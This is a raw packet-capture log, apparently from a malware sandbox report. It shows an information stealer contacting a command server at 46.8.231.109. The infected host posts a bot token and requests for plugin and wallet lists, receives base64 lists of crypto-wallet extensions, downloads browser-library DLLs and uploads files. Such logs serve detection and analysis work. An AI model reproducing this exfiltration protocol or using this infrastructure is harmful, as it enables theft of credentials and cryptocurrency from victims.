Aug 30, 2024 06:17:17.439100981 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
Aug 30, 2024 06:17:17.456576109 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJDBFBKKJEBFHJEHJD Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 44 42 46 42 4b 4b 4a 45 42 46 48 4a 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------BKKJDBFBKKJEBFHJEHJDContent-Disposition: form-data; name="message"fplugins------BKKJDBFBKKJEBFHJEHJD--
Aug 30, 2024 06:17:17.632745028 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:17 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Aug 30, 2024 06:17:17.726088047 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGD Host: 46.8.231.109 Content-Length: 7635 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:17.726145029 CEST	7635	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Aug 30, 2024 06:17:18.052534103 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:17:18.080393076 CEST	91	OUT	GET /1309cdeb8f4c8736/sqlite3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 06:17:18.253246069 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:18 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Aug 30, 2024 06:17:18.253266096 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Aug 30, 2024 06:17:18.253283978 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Aug 30, 2024 06:17:19.845694065 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGIEGHJEGIDGCAFBFC Host: 46.8.231.109 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:20.178472042 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:17:20.383075953 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGCGHIJKEGIECBFCBAE Host: 46.8.231.109 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:20.714184046 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:17:20.760323048 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAKFHIEGDGCAAAEGDG Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file"------DAAAKFHIEGDGCAAAEGDG--
Aug 30, 2024 06:17:20.986684084 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:17:21.580116034 CEST	562	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCAFIDBKEBFCBFIIIII Host: 46.8.231.109 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 41 46 49 44 42 4b 45 42 46 43 42 46 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 46 49 44 42 4b 45 42 46 43 42 46 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 41 46 49 44 42 4b 45 42 46 43 42 46 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHCAFIDBKEBFCBFIIIIIContent-Disposition: form-data; name="token"6c57ac5dc5b3cabd0b524e47456f6971842a4b0f01550ae9e15c971431afdef7eb98f5ce------FHCAFIDBKEBFCBFIIIIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHCAFIDBKEBFCBFIIIIIContent-Disposition: form-data; name="file"------FHCAFIDBKEBFCBFIIIII--
Aug 30, 2024 06:17:21.802124977 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:17:23.017575979 CEST	91	OUT	GET /1309cdeb8f4c8736/freebl3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 06:17:23.190968037 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 30, 2024 06:17:24.142303944 CEST	91	OUT	GET /1309cdeb8f4c8736/mozglue.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 06:17:24.315471888 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 30, 2024 06:17:24.734549999 CEST	92	OUT	GET /1309cdeb8f4c8736/msvcp140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 06:17:24.907685995 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 30, 2024 06:17:25.438384056 CEST	88	OUT	GET /1309cdeb8f4c8736/nss3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 06:17:25.611391068 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:25 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 30, 2024 06:17:27.123016119 CEST	92	OUT	GET /1309cdeb8f4c8736/softokn3.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 06:17:27.297946930 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 30, 2024 06:17:27.624293089 CEST	96	OUT	GET /1309cdeb8f4c8736/vcruntime140.dll HTTP/1.1 Host: 46.8.231.109 Cache-Control: no-cache
Aug 30, 2024 06:17:27.797802925 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 30, 2024 06:17:28.442019939 CEST	200	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBKJECFCFBFIECBKFB Host: 46.8.231.109 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 06:17:28.794604063 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 04:17:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 06:17:29.213165998 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECAECFCAAEBFHIEHDG Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 63 35 37 61 63 35 64 63 35 62 33 63 61 62 64 30 62 35 32 34 65 34 37 34 35 36 66 36 39 37 31 38 34 32 61 34 62 30 66 30 31 35 35 30 61 65 39 65 31 35 63 39 37 31 34 33 31 61 66 64 65 66 37 65 62 39 38 66 35 63 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 2d 2d 